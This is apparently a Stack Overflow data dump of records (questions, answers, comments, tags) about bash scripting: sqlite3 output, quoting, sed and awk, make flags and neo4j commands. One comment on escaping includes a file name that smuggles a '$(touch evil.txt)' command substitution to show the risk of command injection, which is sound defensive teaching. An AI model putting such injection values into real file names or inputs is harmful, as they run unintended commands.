has body: result=$(sqlite3 sample.db "SELECT count(*) FROM table WHERE value='sample';") echo $result Result is 1. Because of "Database is locked" error I changed the code: result=$(sqlite3 sample.db "pragma busy_timeout=20000; SELECT count(*) FROM table WHERE value='sample';") echo $result But now the result is: 20000 1 I don't want busy_timeout value in the result. I want the result to be 1. How can I do that by editing sqlit3 commands?
tagged with: bash
has comment: http://stackoverflow.com/comment/135416560
type: Question
has comment: http://stackoverflow.com/comment/135407787
has comment: http://stackoverflow.com/comment/135407433
accepted answer: http://stackoverflow.com/a/76820522
answer count: 2
has answer: http://stackoverflow.com/a/76820522
tagged with: shell
has comment: http://stackoverflow.com/comment/135504433
possible better answer: http://stackoverflow.com/a/76805944
downvote count: 0
tagged with: sqlite
score: 1
has comment: http://stackoverflow.com/comment/135416664
upvote count: 1
favorite count: 0
type: AnsweredQuestion
has title: How to remove pragma busy_timeout value from sqlite3 command result in bash?
has answer: http://stackoverflow.com/a/76805944

http://stackoverflow.com/comment/135329114
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76751024
has text: @user1934428 The use of find is questionable but not useless. It will find the file only if it was modified in the last 30 minutes, therefore it will grep the log only if it was modified since the last execution (assuming the script is called in a 30 minute interval).
type: QuestionComment

http://stackoverflow.com/comment/135423270
type: Comment
score: 0
has text: @Dheeraj : Then at least provide a **valid** example. I don't see a point in asking something using an unrealistic, syntacticallly incorrect input. For the general problem, parsing syntactically correct CSV is quite some task. Many programming language come with a CSV parser, and why would you re-invent the wheel? Even if I would want to implement the n-th CSV library, I would for sure not do it in _bash_.
comment on: http://stackoverflow.com/q/76810435
type: QuestionComment

http://stackoverflow.com/comment/135362586
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76771421
has text: (to be clear, `echo -e "cat $1" >>test.sh` can _look_ correct if your goal is to read `$1` when you're writing `test.sh` and not when you're running it, _if_ you're supplying only test cases that don't handle the oddball corner cases, but as soon as you start looking for bugs it gets messy; consider if you want to write a script that always cats the file named `'/tmp/$(touch evil.txt)'$(touch evil.txt)'/hello` -- one _really does_ need `printf %q` or `${var@Q}` to dynamically perform correct escaping).
type: QuestionComment

http://stackoverflow.com/a/76740031
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/76739629
type: Answer
upvote count: 3
has body: If you must store a command in a variable, then use an array: random=(shuf -i 100000-999999 -n 1) (Note the tremendous difference between $() and ().) Having done that, you can simply use parameter expansion to expand it into a command: "${random[@]}" Do note, however, that you cannot store redirections that way, and any expansions other than just unpacking the array will be performed at the point where the array is built, not where its contents are executed as a command. If you want to capture the command's output, then that's what $() is for: curl -X POST "127.0.0.1:2020/send-tr" \ -H "Content-Type: application/json" \ -d '{"loc":"AAVV01JH01", "tr":"'"$("${random[@]}")"'"}' With that said, writing a shell function would be better for most purposes: gen_random() { shuf -i 100000-999999 -n 1 } curl -X POST "127.0.0.1:2020/send-tr" \ -H "Content-Type: application/json" \ -d '{"loc":"AAVV01JH01", "tr":"'"$(gen_random)"'"}' That's still a bit of a muddle, but not so much as with the array. Also, with a function, you can parameterize if you ever discover that that would be helpful. Say, if you discover a need to generate multiple numbers in the same call.

http://stackoverflow.com/comment/135417891
type: Comment
comment on: http://stackoverflow.com/q/76813452
type: QuestionComment
has text: ...if your parent shell is bash, you might also think about using `declare -p HOST` to print the variable's current definition before starting the script. If it says `declare -- HOST='Nbook'` that tells you it's not exported; if it says, say, `declare -x HOST=$'Nbook\r'` that tells you it _is_ exported, but was read from a DOS/Windows file instead of a native UNIX file and so has a stray carriage return on the end.
score: 1

http://stackoverflow.com/comment/135468902
type: QuestionComment
score: 0
has text: Does this answer your question? [group objects by a field and sum another, then produce a CSV report](https://stackoverflow.com/questions/61953604/group-objects-by-a-field-and-sum-another-then-produce-a-csv-report)
type: Comment
comment on: http://stackoverflow.com/q/76842785

http://stackoverflow.com/comment/135490002
type: Comment
score: 1
has text: Maybe... `availablestorage=$(<<<"$storage_out" awk -v drive="/dev/disk1s2" '$1 == drive { gsub("Gi", ""); print($2 * 1.073741824); }')` is a good example of how I'd rewrite your first pipeline (and the command after it) to be nothing but awk, assuming you previously ran `storage_out=$(df -h)` (or, better, `storage_out=$(df -h /dev/disk1s2)`).
comment on: http://stackoverflow.com/q/76854869
type: QuestionComment

http://stackoverflow.com/q/76731251
has comment: http://stackoverflow.com/comment/135276850
has body: I'm trying to install 'yo' to use 'yo code' so I need the latest version of node but I have two node(s), one usable without root permissions and another one that needs it but if I try to remove the node using apt, so apt remove or apt autoremove, it doesn't detect the node, as in photo.
tagged with: shell
has comment: http://stackoverflow.com/comment/135276812
tagged with: ubuntu
has comment: http://stackoverflow.com/comment/135276897
has comment: http://stackoverflow.com/comment/135276794
has title: Different versions of node but not detectable by apt
score: 0
type: Question
answer count: 0
tagged with: linux
type: UnansweredQuestion

http://stackoverflow.com/comment/135375163
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76785187
score: 0
has text: No, this is not a duplicate of that question; voted to reopen. This is a question about why one shell is interpreting `\n` sequences in echo arguments while another does not. [This is an optional behavior in POSIX; an implementations which claim to be XSI-conformant have to implement these C-like escape sequences in echo and are also forbidden from treating `-n` specially.](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html)

http://stackoverflow.com/comment/135374711
comment on: http://stackoverflow.com/q/76788743
has text: Because "change user id" doesn't mean "and also execute shell dotfiles".
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135485778
score: 0
comment on: http://stackoverflow.com/q/76779055
type: QuestionComment
has text: The `jrunscript` command is exactly the reason of your error. The JavaScript support was dropped in Java/OpenJDK version 15 (if I remember correctly)
type: Comment

http://stackoverflow.com/comment/135408083
has text: What's the wider goal, are you trying to tie this is in with an existing monitoring solution?
type: Comment
comment on: http://stackoverflow.com/q/76808171
type: QuestionComment
score: 0

http://stackoverflow.com/q/76805103
has body: I have a script which calls make like this (simplified) #!/bin/bash if -f one.source then make one CPPFLAGS='-DONE -DTWO -DTHREE' fi if -f two.source then make two CPPFLAGS='-DONE -DTWO -DTHREE' fi The list of defines is getting long, and I'd like to avoid having to keep the two command lines in sync. I'd like to define a variable and use it in both commands. I tried DEFINES='-DONE -DTWO -DTHREE' DD="CPPFLAGS='" DD+=$DEFINES DD+="'" With this, echo $DD CPPFLAGS='-DONE -DTWO -DTHREE' seems to do what I want, but make one $DD fails with make one 'CPPFLAGS='\''-DONE' -DTWO '-DTHREE'\''' make: invalid option -- 'D' make: invalid option -- 'T' make: invalid option -- 'D' make: invalid option -- 'T' make: invalid option -- 'H' Usage: make [options] [target] ...
has comment: http://stackoverflow.com/comment/135402674
has answer: http://stackoverflow.com/a/76806828
type: Question
accepted answer: http://stackoverflow.com/a/76806828
has title: bash variable containing spaces expanded in single quotes
answer count: 1
has comment: http://stackoverflow.com/comment/135402635
has comment: http://stackoverflow.com/comment/135405801
score: 0
tagged with: shell
type: AnsweredQuestion

http://stackoverflow.com/comment/135342128
has text: This is true. But those variables are present in the demonstration. Even adding those checks, the same error is displayed.
comment on: http://stackoverflow.com/a/76769804
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135351929
score: 0
has text: Actually your code looks fine to me, while your modification makes no sense since you can close the fd only after you have duplicated it to the appropriate standard input or output.
comment on: http://stackoverflow.com/q/76770526
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76817630
has body: Using sed $ sed -Ei.bak "s/(named )[^.]*( apples)/\1${new_text1}\2/" input_file Student named Conor has 10 apples. Docter says, apples are good for health.
answers question: http://stackoverflow.com/q/76817121
score: 0
type: Answer

workflow
tag name: workflow
type: Tag
tags question: http://stackoverflow.com/q/76712749
tags question: http://stackoverflow.com/q/79075923

http://stackoverflow.com/comment/135372193
comment on: http://stackoverflow.com/a/76786923
score: 0
has text: @NitinKumar, it will work if `/bin/sh` is really Bash. If `/bin/sh` is `dash` then nothing will work because `dash` does not support arrays. If your code depends on Bash-specific features, including arrays, it should start with `#! ...bash...`. Run [Shellcheck](https://www.shellcheck.net/) on your code to find features that are not guaranteed to be supported by `/bin/sh` (and many other common problems with shell code). The code in the answer should work with *any* version of Bash since 3.0. I tested it on 3.2 and 5.2.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76810973
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135413211
has comment: http://stackoverflow.com/comment/135413374
has body: I would like to run a shell script test_shell.sh to delete a directory defined by a parameter set in another file test_config.txt. test_config.txt: var = testdir test_shell.sh: #!/bin/bash vardel=$(grep var test_config.txt | cut -d ' ' -f3) echo $vardel rm -rf $var The variables are set correctly, but the directory is not deleted. No warning is printed. What causes this?
tagged with: rm
has comment: http://stackoverflow.com/comment/135413328
score: 0
type: Question
tagged with: shell
answer count: 1
has answer: http://stackoverflow.com/a/76836734
has title: Shell script - rm does not remove directory from variable set by external parameter
has comment: http://stackoverflow.com/comment/135413279
has comment: http://stackoverflow.com/comment/135455853
accepted answer: http://stackoverflow.com/a/76836734
has comment: http://stackoverflow.com/comment/135413464

http://stackoverflow.com/comment/135425886
comment on: http://stackoverflow.com/a/76817624
has text: log.out contains logs from each date. So i want to exclude all logs from previous date except from today's date. Expected output as below. log files contais data like this. Workflow name:abc, Workflow status:succeeded, Workflow start time:07/31/23 18:30:00, Duration:0 hours 2 minutes 11 seconds Workflow name:abc, Workflow status:succeeded, Workflow start time:08/01/23 18:30:00, Duration:0 hours 2 minutes 11 seconds now I want all logs only from 08/01/23.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135434675
comment on: http://stackoverflow.com/q/76823093
has text: (also interesting are transactional cases, where you can need an atomic check-and-set operation: "if the original value is 2, then save the new value of 4, otherwise return an error so we know we need to reread the old value and recalculate the new value"; obvs., this depends very much on the details of the use case and its context)
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135348551
comment on: http://stackoverflow.com/a/76771486
score: 0
type: Comment
type: AnswerComment
has text: single quotes, got it. works as expected Thank you

http://stackoverflow.com/comment/135341296
has text: The file extension `.exe` is only used by Windows executables. adb shell allows you to connect to Android devices which run Linux. Linux can not execute Windows executables. You can cross-compile your C code to ARMv7/armv8a CPU and to Linux ELF to create `Helloworld` executable.
type: Comment
comment on: http://stackoverflow.com/q/76768345
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135474486
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76846238
has text: Would add: if you want to pass things besides the command like OP appears to be doing, put them in the leading arguments (`$1`, `$2`, etc) and then remove them with `shift` before using `"$@"`. Also note that this only works for simple commands, you can't pass something like a redirection like this without some fiddling.

http://stackoverflow.com/a/76817624
score: 0
has comment: http://stackoverflow.com/comment/135425323
has comment: http://stackoverflow.com/comment/135425179
type: Answer
has comment: http://stackoverflow.com/comment/135425886
answers question: http://stackoverflow.com/q/76817129
has comment: http://stackoverflow.com/comment/135426032
has body: Using sed : sed -e '/---Successful backups---/,/---Failed backups---/{/---Failed backups---/!d}' -e '/---Unresolved clients---/,/---Summary notification report---/{/---Summary notification report---/!d}' log.out /addr1/,/addr2/ will match from line that match addr1 to line that match addr2 /addr/! if line does not match addr d delete

http://stackoverflow.com/a/76742091
answers question: http://stackoverflow.com/q/76741997
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/135296167
score: 3
type: AcceptedAnswer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/76741997
has body: The idea in your last paragraph is too complicated. All you need is: Fork, then either call a routine to execute a built-in command (and exit afterward) or call exec to execute a non-built-in command.

http://stackoverflow.com/comment/135424630
comment on: http://stackoverflow.com/a/76817864
type: Comment
type: AnswerComment
score: 1
has text: That is usefull for me. Thanks for your help

http://stackoverflow.com/a/76726264
type: Answer
has comment: http://stackoverflow.com/comment/135269903
has body: You can use paste command for above purpose #!/bin/bash list=file2.txt,file3.txt cp file1.txt output.txt for file in $(echo ${list} | tr "," " "); do cut -f3 "$file" | paste output.txt - > temp.txt mv temp.txt output.txt done Here both cut and paste commands use tab as delimiter by default. so the output.txt file will have the result as tab delimeter.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/76725490
downvote count: 0

http://stackoverflow.com/q/76766553
type: Question
tagged with: shell
type: UnansweredQuestion
tagged with: installation
tagged with: postgresql
has title: postgresql install
score: 0
linked to: http://stackoverflow.com/q/48938947
answer count: 0
has body: I installed PostgreSQL after I got a problem in SQL shell while running the command \l I installed PostgreSQL after executing the command \l I encountered this error 'more' n’est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes.
has comment: http://stackoverflow.com/comment/135336473
duplicate of: http://stackoverflow.com/q/48938947
has comment: http://stackoverflow.com/comment/135336485

http://stackoverflow.com/comment/135407433
type: QuestionComment
has text: Why is it locked (are there multiple concurrent connections)? Try `sqlite3 -cmd '.timeout 2000' sample.db` or [this](https://dba.stackexchange.com/a/47920).
type: Comment
comment on: http://stackoverflow.com/q/76805840
score: 1

vba
tag name: vba
tags question: http://stackoverflow.com/q/76817170
type: Tag
tags question: http://stackoverflow.com/q/76962672
tags question: http://stackoverflow.com/q/77228627
tags question: http://stackoverflow.com/q/77311237
tags question: http://stackoverflow.com/q/77357315
tags question: http://stackoverflow.com/q/77496302
tags question: http://stackoverflow.com/q/77869565
tags question: http://stackoverflow.com/q/77853768
tags question: http://stackoverflow.com/q/77946351
tags question: http://stackoverflow.com/q/78229177
tags question: http://stackoverflow.com/q/78221524
tags question: http://stackoverflow.com/q/78220349
tags question: http://stackoverflow.com/q/78355523
tags question: http://stackoverflow.com/q/78439542
tags question: http://stackoverflow.com/q/78756055
tags question: http://stackoverflow.com/q/78857165
tags question: http://stackoverflow.com/q/79242238
tags question: http://stackoverflow.com/q/79129852
tags question: http://stackoverflow.com/q/79249697
tags question: http://stackoverflow.com/q/79439010
tags question: http://stackoverflow.com/q/79448810
tags question: http://stackoverflow.com/q/79498594
tags question: http://stackoverflow.com/q/79449872
tags question: http://stackoverflow.com/q/79531939

built-in
type: Tag
tags question: http://stackoverflow.com/q/76741997
tag name: built-in
tags question: http://stackoverflow.com/q/76749128
tags question: http://stackoverflow.com/q/79329866

http://stackoverflow.com/a/76794604
upvote count: 1
has body: Copy the code of the following link: https://github.com/StanGirard/quivr/blob/main/scripts/tables.sql or the same code in the file tables.sql inside the folder "scripts" of your local Quivr. Paste it in Supabase web interface: SQL Editor -> New query -> New blank query And then click "Run". You will see "Success. Now rows returned"
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76757276
type: Answer

http://stackoverflow.com/comment/135448988
has text: Why do you have `expect $prompt` instead of the (commented-out) `exp_continue`?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76830614
type: QuestionComment

http://stackoverflow.com/comment/135497721
type: Comment
score: 0
has text: In the `sh "./myscript.sh $1 $2 $3 $4 $5 $6"` Is `$6` a groovy variable or a shell variable? Is this real code, or is it rather `./myscript.sh ${some_groovy_variable}`? Are you fine with using `sh './myscript.sh $1 $2 $3 $4 $5 $6'`?
comment on: http://stackoverflow.com/q/76859636
type: QuestionComment

http://stackoverflow.com/comment/135335545
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76765144
has text: what do you mean by pointing to. do you the value of `which bash` or do you mean the default shell used by tmux or iterm2.. your wording is quite confusing. because several of these conflict with your desire to keep `zsh` as your default shell.. I take this to mean you are concerned with what a call to `bash` will yield which is a function of your `PATH`

http://stackoverflow.com/comment/135423353
type: QuestionComment
type: Comment
has text: @KurtisRader : While _errexit_ in this particular example indeed would help, I guess that the `rsync` is not the only command in a shell script, and recommending to use _errexit_ has a big chance of breaking the rest of the script. At least _errexit_ should not be recommended unless also pointing out its [perils](https://mywiki.wooledge.org/BashPitfalls#errexit).
comment on: http://stackoverflow.com/q/76815964
score: 0

http://stackoverflow.com/comment/135537412
comment on: http://stackoverflow.com/q/76880608
has text: Please [edit] your question to include a [mcve] with concise, testable sample input and expected output.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135422400
type: Comment
comment on: http://stackoverflow.com/q/76815964
has text: In your first example you do `rsync ... | exit 1`. You are piping the stdout of `rsync` into the `exit` command. Presumably you meant to use `|| exit 1`. But, frankly, it is simpler and safer to just do `set -o errexit` at the top of your script and omit the `|| exit 1`.
score: 3
type: QuestionComment

http://stackoverflow.com/comment/135520945
has text: The output of ‘top’ and ‘free’ is different, why is that ?
score: 0
comment on: http://stackoverflow.com/a/76872927
type: Comment
type: AnswerComment

cloud-init
tag name: cloud-init
tags question: http://stackoverflow.com/q/76816367
type: Tag

http://stackoverflow.com/comment/135382026
comment on: http://stackoverflow.com/a/76793118
has text: I see. I knew it was missing some process substitution features but I didn't know it all ran sequentially. Thanks!
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/76848082
accepted answer: http://stackoverflow.com/a/76848441
type: Question
has comment: http://stackoverflow.com/comment/135477836
has comment: http://stackoverflow.com/comment/135477842
linked to: http://stackoverflow.com/q/5725296
tagged with: codefresh
tagged with: sh
has comment: http://stackoverflow.com/comment/135477643
duplicate of: http://stackoverflow.com/q/5725296
score: 0
has comment: http://stackoverflow.com/comment/135477761
possible better answer: http://stackoverflow.com/a/76848639
answer count: 2
has comment: http://stackoverflow.com/comment/135477930
tagged with: shell
has title: Shell command syntax error in for loop in Codefresh
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76848639
has answer: http://stackoverflow.com/a/76848441
has body: I have below step to go through for loop. However I'm getting below synatx error. Code: steps: arti_lib_deploy: stage: build image type: freestyle title: "Deploy Libs to Artifactory" image: 'hub.artifactory.gcp.xxxx/curlimages/curl:latest' commands: - LIB_FOLDERS=["lib1","lib2"] - > for LIB_FOLDER in "${LIB_FOLDERS[@]}"; do echo "FolderName- ${LIB_FOLDER}" curl -X GET -kv https://xxxx.service.test/entitlements/effPermissions?permissionId= "${LIB_FOLDER}" done Error: Executing command: LIB_FOLDERS=["lib1","lib2"] [2023-08-06T10:54:14.700Z] ------------------------------ Executing command: for LIB_FOLDER in "${LIB_FOLDERS[@]}"; do echo "FolderName-${LIB_FOLDER }" done [2023-08-06T10:54:14.701Z] /bin/sh: syntax error: bad substitution [2023-08-06T10:54:15.036Z] Reading environment variable exporting file contents.[2023-08-06T10:54:15.052Z] Reading environment variable exporting file contents.[2023-08-06T10:54:16.224Z] [SYSTEM] Message Failed to run freestyle step: Deploy Libs to Artifactory Caused by Container for step title: Deploy Libs to Artifactory, step type: freestyle, operation: Freestylestep. Failed with exit code: 2 Documentation Link https://codefresh.io/docs/docs/codefresh-yaml/steps/freestyle/ Exit code 2 Name NonZeroExitCodeError Sh command: commands: - LIB_FOLDERS="lib1 lib2" - for LIB_FOLDER in $LIB_FOLDERS; do echo "FolderName- $LIB_FOLDER" done Error: Executing command: LIB_FOLDERS="lib1 lib2" ------------------------------ /bin/sh: syntax error: unexpected end of file (expecting "done") [2023-08-06T23:48:22.532Z] Reading environment variable exporting file contents. [2023-08-06T23:48:22.543Z] Reading environment variable exporting file contents.

http://stackoverflow.com/comment/135492106
has text: thanks for the response. it's still not working when i run your command inside the pod: # sh -c "export reply=$(curl -s -o /dev/null -w %{http_code} http://127.0.0.1:8080//login); if [ \"\$reply\" -lt 200 -o \"\$reply\" -ge 400 ]; then exit 1; fi;" # echo $reply #
comment on: http://stackoverflow.com/a/76856201
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76843948
has comment: http://stackoverflow.com/comment/135490774
has comment: http://stackoverflow.com/comment/135477436
has body: As you are no doubt aware, what is assigned in the subshell stays in the subshell. As noted in the comments, one solution is to not have a subshell: If the script is sourced then assignments will be retained. However this requires that the script be carefully written to not have unwanted side-effects. If invoking the script normally (as a subshell) you might be able to work around the problem with convoluted IPC to pass values around but it seems to me you could bypass complexity entirely by simply having the script output the value instead of attempting to assign it to anything: var=$(script) You can wrap this using your first approach, so that the variable name can be passed in: assign_to(){ local -n ref=$1 shift ref=$("$@") } For example: $ myref=myvar $ assign_to $myref date +%Y $ declare -p myvar declare -- myvar="2023" $
type: Answer
has comment: http://stackoverflow.com/comment/135476890
has comment: http://stackoverflow.com/comment/135476227
answers question: http://stackoverflow.com/q/76843593
upvote count: 2
downvote count: 0
score: 2
has comment: http://stackoverflow.com/comment/135477457

http://stackoverflow.com/comment/135476922
comment on: http://stackoverflow.com/q/76843593
has text: @Adriano_Pinaffo, one option is for your program to check if it is being sourced and exit with a helpful error message if it is not. See [BashFAQ/109 (How can I tell whether my script was sourced (dotted in) or executed?)](https://mywiki.wooledge.org/BashFAQ/109).
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135493043
has text: I'm still getting same error after applying your suggestion :(
comment on: http://stackoverflow.com/a/76856901
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135341129
type: Comment
comment on: http://stackoverflow.com/q/76769065
has text: You forgot to tell us, which is line 26. Also, turn on `set -x` so that you can see how your parameters are expanded.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135463541
type: Comment
has text: I can't really since it's kind of private. But you can use this [random image](https://www.travelandleisure.com/thmb/KTIha5CLifSoUD3gx0YP51xc3rY=/1500x0/filters:no_upscale():max_bytes(150000):strip_icc()/blue0517-4dfc85cb0200460ab717b101ac07888f.jpg) I found on the internet. It's just a shade of blue, but when you convert it, it becomes more saturated or something. I'd also like to mention I've tried this with .png and .webp, so I don't think it's a .jpg problem. The effect is also consistent from image to image.
score: 0
comment on: http://stackoverflow.com/q/76839109
type: QuestionComment

http://stackoverflow.com/a/76790031
score: 0
has body: You have to use eval to process a variable as bash code. eval "var2=\"$1\"" You should not use something like this if the script parameter comes from somewhere outside the control of the user executing the script, since they could put dangerous commands in $1.
has comment: http://stackoverflow.com/comment/135377962
has comment: http://stackoverflow.com/comment/135377980
has comment: http://stackoverflow.com/comment/135376957
answers question: http://stackoverflow.com/q/76790012
has comment: http://stackoverflow.com/comment/135378837
type: Answer
has comment: http://stackoverflow.com/comment/135377494

http://stackoverflow.com/comment/135540564
type: Comment
has text: If you're interpreting the OP as asking how to persist variables across invocations, we have (lots of) other questions that ask that explicitly; wouldn't it be better to post this answer on one of them, and mark it as a duplicate?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76884423

http://stackoverflow.com/comment/135330573
has text: What's wrong with the proposed solutions in the related question?
comment on: http://stackoverflow.com/q/76763104
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135416560
comment on: http://stackoverflow.com/q/76805840
type: QuestionComment
type: Comment
score: 0
has text: @user4157124 Concurrent connections cause **Database is locked** Error, thanks for your help, I'm checking your solution.

http://stackoverflow.com/comment/135467181
comment on: http://stackoverflow.com/q/76841295
score: 0
has text: all the files are comma delimited, this space is not there in the orginal files it came when i typed the question
type: QuestionComment
type: Comment

zshrc
tag name: zshrc
type: Tag
tags question: http://stackoverflow.com/q/76734936
tags question: http://stackoverflow.com/q/77607660
tags question: http://stackoverflow.com/q/78307307
tags question: http://stackoverflow.com/q/78274299
tags question: http://stackoverflow.com/q/78465610
tags question: http://stackoverflow.com/q/79419264

http://stackoverflow.com/comment/135426752
has text: "_output is coming in `stderr` block_", since you haven't show such, what output is that? "_`stdout` and `stdout_lines` is showing different data_", no, the data is obviosly the same but differently formatted. What kind of command is `developer`? Where is that from? Please take not that not all comands report to `stdout` by default. Maybe you have to redirect via `2>&1`.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76818451
type: Comment

pipe
tags question: http://stackoverflow.com/q/76793056
tag name: pipe
type: Tag
tags question: http://stackoverflow.com/q/76980350
tags question: http://stackoverflow.com/q/77192256
tags question: http://stackoverflow.com/q/77204604
tags question: http://stackoverflow.com/q/77148106
tags question: http://stackoverflow.com/q/77521919
tags question: http://stackoverflow.com/q/77420289
tags question: http://stackoverflow.com/q/77480177
tags question: http://stackoverflow.com/q/77610028
tags question: http://stackoverflow.com/q/77811450
tags question: http://stackoverflow.com/q/77808615
tags question: http://stackoverflow.com/q/78099514
tags question: http://stackoverflow.com/q/78369669
tags question: http://stackoverflow.com/q/78331935
tags question: http://stackoverflow.com/q/78451035
tags question: http://stackoverflow.com/q/78553947
tags question: http://stackoverflow.com/q/78663739
tags question: http://stackoverflow.com/q/78735494
tags question: http://stackoverflow.com/q/78875387
tags question: http://stackoverflow.com/q/78774058
tags question: http://stackoverflow.com/q/78797976
tags question: http://stackoverflow.com/q/78919440
tags question: http://stackoverflow.com/q/79077664
tags question: http://stackoverflow.com/q/79075923
tags question: http://stackoverflow.com/q/79547302

http://stackoverflow.com/comment/135410553
score: 1
comment on: http://stackoverflow.com/q/76809509
has text: The file doesn't have spaces after all the attributes, but your regexp has spaces there.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76842591
has body: awk -F, -v OFS=, ' !a[$0]++{ b[$1","$2]=(b[$1","$2] ? b[$1","$2]","$3 : $3) } END{ for(i in b) print i,"\""b[i]"\"" } ' file
upvote count: 2
answers question: http://stackoverflow.com/q/76840695
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/a/76813968
answers question: http://stackoverflow.com/q/76813826
type: Answer
downvote count: 0
has body: When you run the commands individually, you pass * to each command, which expands to the current file list. In the script you have a for loop, which executes the commands on all files, and repeats for the amount of files. This means that if you have 17 files in the directory, each command will run 17 times on all files, which is not what you want. Simply remove the for loop, and keep the commands as they are; #!/bin/bash rename -v '...x...' * rename -v '...y...' * # and so on.. (of course, replace '...x...'/'...y...' with the actual patterns)
score: 3
type: AcceptedAnswer
upvote count: 3
has comment: http://stackoverflow.com/comment/135433534
accepted answer of: http://stackoverflow.com/q/76813826

http://stackoverflow.com/comment/135423657
type: Comment
has text: You should use the built in `FileDialog` https://learn.microsoft.com/en-us/office/vba/api/excel.application.filedialog
comment on: http://stackoverflow.com/q/76817170
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135351410
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76775292
has text: `cd /path/to/directorry/src ; find ... | sed 's#somethingHere#somethingDifferentHere#g` Good luck.
type: QuestionComment

http://stackoverflow.com/comment/135492928
has text: According to the error message, the error is in `Makefile`, so it would make sense to post this file too.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76855607
type: Comment

http://stackoverflow.com/comment/135345796
has text: Might add that it can be a good idea to add `%a` to the output file , so `#SBATCH --output=out_files/output.%a.o` which creates one output file per array task
score: 3
comment on: http://stackoverflow.com/a/76772242
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135341765
comment on: http://stackoverflow.com/q/76769065
has text: I've updated it with the requested information.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135467227
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76841295
has text: since you need to compare rows across all 3 files I don't see how you can issue any `print` commands until *after* all 3 files have been completely processed, which means the `print` command(s) should reside in an `END{...}` block, which means storing all data in memory (prior to the `END{...}` block)
type: Comment

http://stackoverflow.com/comment/135311757
score: 1
type: QuestionComment
has text: Does this answer your question? [delete lines with sed match a special regex](https://stackoverflow.com/questions/10822809/delete-lines-with-sed-match-a-special-regex)
type: Comment
comment on: http://stackoverflow.com/q/76751837

http://stackoverflow.com/comment/135489563
has text: What have you tried doing? Does the same result occur with ad-hoc commands?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76854223

http://stackoverflow.com/comment/135446548
comment on: http://stackoverflow.com/q/76816367
has text: The problem is the 25 return code, even if I make sure the remnant locked images are cleaned up before the run (# Fix locked images: sudo qm destroy 9001 --destroy-unreferenced-disks 1 --skiplock 1), one of the "qm" commands fail with error 25.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135409654
comment on: http://stackoverflow.com/a/76774648
has text: Thanks for the brief explanation @Paul. But I'm getting that pattern(test.pwd) dynamically. In that case how to do that?
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76810878
upvote count: 1
has title: Why neo4j-admin database dump command always report parameter error?
has answer: http://stackoverflow.com/a/76812230
tagged with: command-line
answer count: 2
tagged with: shell
accepted answer: http://stackoverflow.com/a/76812230
downvote count: 0
score: 1
has body: Neo4j Version: 5.10 Community Edition Java Version: 17.0.8 I've read the document about Neo4j's dump command Back up an offline database - Operations Manual. I use it as the document told but it doesn't work. There's no example so I don't know how to correct it. Purpose I want to dump my database named neo4j to local directory D:\neo4j_library_5.10\. Attempts I've tried all the commands below, but none of them are correct. neo4j-admin database dump --verbose --to-path=D:\neo4j_library_5.10\ database=neo4j neo4j-admin neo4j dump --verbose --to-path=D:\neo4j_library_5.10\ neo4j-admin database dump --verbose --to-path=D:\neo4j_library_5.10\ --database=neo4j neo4j-admin database dump --verbose --to-path=D:\neo4j_library_5.10\ neo4j It always tells me: Missing required parameter: '&lt;database&gt;' Dump a database into a single-file archive. Can anybody give me a correct example? Update Attemps Then I tried this command: neo4j-admin database dump neo4j --verbose --to-path=D:\neo4j_library_5.10\ The error message shows: Executing command line: D:\jdk-17.0.8\bin\java.exe -cp D:\neo4j\plugins\*;D:\neo4j\conf\*;D:\neo4j\lib\* -XX:+UseParallelGC -XX:-OmitStackTraceInFastThrow -XX:+UnlockExperimentalVMOptions -XX:+TrustFinalNonStaticFields -XX:+DisableExplicitGC -Djdk.nio.maxCachedBufferSize=1024 -Dio.netty.tryReflectionSetAccessible=true -XX:+ExitOnOutOfMemoryError -Djdk.tls.ephemeralDHKeySize=2048 -XX:FlightRecorderOptions=stackdepth=256 -XX:+UnlockDiagnosticVMOptions -XX:+DebugNonSafepoints --add-opens=java.base/java.nio=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/sun.nio.ch=ALL-UNNAMED -Dlog4j2.disable.jmx=true -Dfile.encoding=UTF-8 org.neo4j.cli.AdminTool database dump neo4j 